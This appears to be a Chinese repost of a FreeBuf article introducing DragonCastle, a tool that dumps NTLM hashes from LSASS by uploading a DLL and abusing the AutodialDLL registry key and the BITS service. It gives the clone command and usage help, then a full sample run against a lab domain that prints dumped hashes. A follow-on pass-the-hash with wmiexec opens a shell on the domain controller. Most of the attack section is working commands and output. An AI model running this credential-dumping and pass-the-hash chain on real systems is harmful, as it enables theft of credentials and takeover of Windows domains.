关于DragonCastle
支持的操作系统版本
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
工具下载
git clone https://github.com/mdsecactivebreach/DragonCastle.git（向右滑动，查看更多）
工具使用帮助
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -hDragonCastle - @TheXC3LLusage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]DragonCastle - A credential dumper (@TheXC3LL)optional arguments:-h, --help 显示工具帮助信息和退出-u USERNAME, --username USERNAME 有效用户名-p PASSWORD, --password PASSWORD 有效密码-d DOMAIN, --domain DOMAIN 有效域名-hashes [LMHASH]:NTHASH NT/LM 哈希-no-pass 不询问密码-k 使用Kerberos身份验证-dc-ip ip address 域控制器的IP地址-target-ip ip address 目标设备的IP地址-local-dll dll to plant 待上传的DLL本地文件路径-remote-dll dll location 更新AutodialDLL 注册表项值的远程路径（向右滑动，查看更多）
工具使用样例
Windows服务器地址为192.168.56.20，域控制器地址为192.168.56.10： psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:dump.dll" -local-dll DragonCastle.dllDragonCastle - @TheXC3LL[+] Connecting to 192.168.56.20[+] Uploading DragonCastle.dll to c:dump.dll[+] Checking Remote Registry service status...[+] Service is down![+] Starting Remote Registry service...[+] Connecting to 192.168.56.20[+] Updating AutodialDLL value[+] Stopping Remote Registry Service[+] Checking BITS service status...[+] Service is down![+] Starting BITS service[+] Downloading creds[+] Deleting credential file[+] Parsing creds:============----User: vagrantDomain: WINTERFELL----User: vagrantDomain: WINTERFELL----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: vagrantDomain: WINTERFELLNTLM: e02bc503339d51f71d913c245d35b50b----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: WINTERFELL$Domain: SEVENKINGDOMSNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: UMFD-0Domain: Font Driver HostNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User:Domain:NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User:Domain:============[+] Deleting DLL[^] Have a nice day!（向右滑动，查看更多）
psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:>whoamisevenkingdomseddard.starkC:>whoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State========================================= ================================================================== =======SeIncreaseQuotaPrivilege Adjust memory quotas for a process EnabledSeMachineAccountPrivilege Add workstations to domain EnabledSeSecurityPrivilege Manage auditing and security log EnabledSeTakeOwnershipPrivilege Take ownership of files or other objects EnabledSeLoadDriverPrivilege Load and unload device drivers EnabledSeSystemProfilePrivilege Profile system performance EnabledSeSystemtimePrivilege Change the system time EnabledSeProfileSingleProcessPrivilege Profile single process EnabledSeIncreaseBasePriorityPrivilege Increase scheduling priority EnabledSeCreatePagefilePrivilege Create a pagefile EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeShutdownPrivilege Shut down the system EnabledSeDebugPrivilege Debug programs EnabledSeSystemEnvironmentPrivilege Modify firmware environment values EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeRemoteShutdownPrivilege Force shutdown from a remote system EnabledSeUndockPrivilege Remove computer from docking station EnabledSeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation EnabledSeManageVolumePrivilege Perform volume maintenance tasks EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeTimeZonePrivilege Change the time zone EnabledSeCreateSymbolicLinkPrivilege Create symbolic links EnabledSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session EnabledC:>（向右滑动，查看更多）
项目地址
DragonCastle：https://github.com/mdsecactivebreach/DragonCastle
参考资料
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/ https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/ https://adepts.of0x.cc/physical-graffiti-lsass/ https://blog.xpnsec.com/exploring-mimikatz-part-2/ https://twitter.com/TheXC3LL 精彩推荐
原文始发于微信公众号（FreeBuf）：如何使用DragonCastle从LSASS进程中提取NTLM哈希
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论